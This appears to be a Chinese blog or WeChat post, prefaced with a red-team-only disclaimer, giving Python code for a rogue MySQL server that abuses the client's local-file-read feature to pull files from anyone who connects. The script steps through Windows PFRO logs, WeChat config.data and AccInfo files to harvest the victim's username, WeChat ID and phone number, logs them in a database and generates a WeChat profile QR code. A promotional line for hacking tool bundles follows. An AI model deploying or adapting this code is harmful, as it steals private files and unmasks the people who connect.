以下内容仅限用于红蓝攻防对抗等专业领域,请勿用于非法用途。
Fake Mysql
def mysql_get_file_content(filename,conn,address):logpath = os.path.abspath('.') + "/log/" + address[0]if not os.path.exists(logpath):os.makedirs(logpath)conn.sendall("xxx")try:conn.recv(1024000)except Exception as e:print(e)try:conn.sendall("xx")res1 = conn.recv(1024000)# SHOW VARIABLESif 'SHOW VARIABLES' in res1:conn.sendall("xxx")res2 = conn.recv(9999)if 'SHOW WARNINGS' in res2:conn.sendall("xxx")res3 = conn.recv(9999)if 'SHOW COLLATION' in res3:conn.sendall("xxx")res4 = conn.recv(9999)if 'SET NAMES utf8' in res4:conn.sendall("xxx")res5 = conn.recv(9999)if 'SET character_set_results=NULL' in res5:conn.sendall("xxx")conn.close()else:conn.close()else:conn.close()else:conn.close()else:try:wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filenameconn.sendall(wantfile)content=''while True:data = conn.recv(1024)print len(data)content += dataif len(data) < 1024:print 'ok'breakconn.close()item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())if len(content) > 6:with open(item, "w") as f:f.write(content)f.close()return (True,content)else:return (False,content)except Exception as e:print (e)except Exception as e:print (e)
while True:conn, address = sv.accept()first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")global files1global usernameglobal wx_idfile=files1[0].replace('Administrator',username).replace('wx_id',wx_id)res,content = mysql_get_file_content(file,conn,address)files1.append(files1[0])files1.remove(files1[0])if res:if 'PFRO' in file:username = get_username(content)s= "xx" % (xx)cursor.execute(s)data = cursor.fetchall()if len(data)==0:s = "XX" % (xx)cursor.execute(s)db.commit()print 'success:'+ fileinsert_file(file,address,username)elif 'config.data'in file:content = contentwxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]sql = "xxx" % (xxx)cursor.execute(sql)db.commit()wx_id=wxidimg = qrcode.make('weixin://contacts/profile/'+wxid)img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')print 'success:'+ fileinsert_file(file,address,username)elif 'AccInfo' in file:content = contentphone = re.findall(r'[0-9]{11}', content)[-1]sql = "xxx" % (xxx)cursor.execute(sql)db.commit()print 'success:'+ fileinsert_file(file,address,username)else:files1=filesusername='Administrator'
docker-compose up -d关注公众号后台回复数字 1126 获取 应急响应实战笔记,1127 - ctf工具集合,1230 - 内网工具,3924 - 弱口令爆破工具。